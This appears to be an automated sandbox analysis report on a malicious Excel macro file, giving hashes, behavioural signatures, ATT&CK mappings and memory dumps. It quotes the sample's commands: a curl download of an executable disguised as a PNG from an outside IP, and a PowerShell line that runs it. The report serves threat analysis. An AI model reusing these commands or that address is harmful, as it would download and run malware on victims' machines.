6b20732f3ec329ae7463b4c4eddc6497d3a5f0ca7029b186b41078b762bf9339

General

Target

XsPMC.xlsm
Size

308KB
MD5

7d1241c321323ef058174eab91abe9f5
SHA1

e7f4a2edfaa2f7c01f3f37e79e2fc6422f522152
SHA256

6b20732f3ec329ae7463b4c4eddc6497d3a5f0ca7029b186b41078b762bf9339
SHA512

dfd47243bf944ac672f186a950ffe782fef5eebae8cde3db0a0d10465aca11e485acba3a9178d9d8cb821143493af84bef2da7242b421e92ad9a1762f83b73c1

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2712	512	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1480	512	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

512 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2712 powershell.exe
2712 powershell.exe
2712 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2712 powershell.exe

pid	process
2712	powershell.exe
2712	powershell.exe
2712	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE
512	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 512 wrote to memory of 2712	512	EXCEL.EXE	powershell.exe
PID 512 wrote to memory of 2712	512	EXCEL.EXE	powershell.exe
PID 512 wrote to memory of 1480	512	EXCEL.EXE	cmd.exe
PID 512 wrote to memory of 1480	512	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\XsPMC.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\XsPMC.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2712

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\XsPMC.exe
2⤵
- Process spawned unexpected child process
PID:1480

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/512-121-0x00007FF96A2F0000-0x00007FF96B3DE000-memory.dmp

Filesize
16.9MB

Download
memory/512-115-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-116-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-117-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-118-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-122-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-297-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-123-0x000001E730FF0000-0x000001E732EE5000-memory.dmp

Filesize
31.0MB

Download
memory/512-114-0x00007FF629C00000-0x00007FF62D1B6000-memory.dmp

Filesize
53.7MB

Download
memory/512-300-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-299-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/512-298-0x00007FF949B80000-0x00007FF949B90000-memory.dmp

Filesize
64KB

Download
memory/1480-257-0x0000000000000000-mapping.dmp

Download
memory/2712-256-0x0000000000000000-mapping.dmp

Download
memory/2712-282-0x000001BCEBCE6000-0x000001BCEBCE8000-memory.dmp

Filesize
8KB

Download
memory/2712-273-0x000001BCEBCE3000-0x000001BCEBCE5000-memory.dmp

Filesize
8KB

Download
memory/2712-272-0x000001BCEBCE0000-0x000001BCEBCE2000-memory.dmp

Filesize
8KB

Download
memory/2712-267-0x000001BCEBFA0000-0x000001BCEBFA1000-memory.dmp

Filesize
4KB

Download
memory/2712-264-0x000001BCEBDF0000-0x000001BCEBDF1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads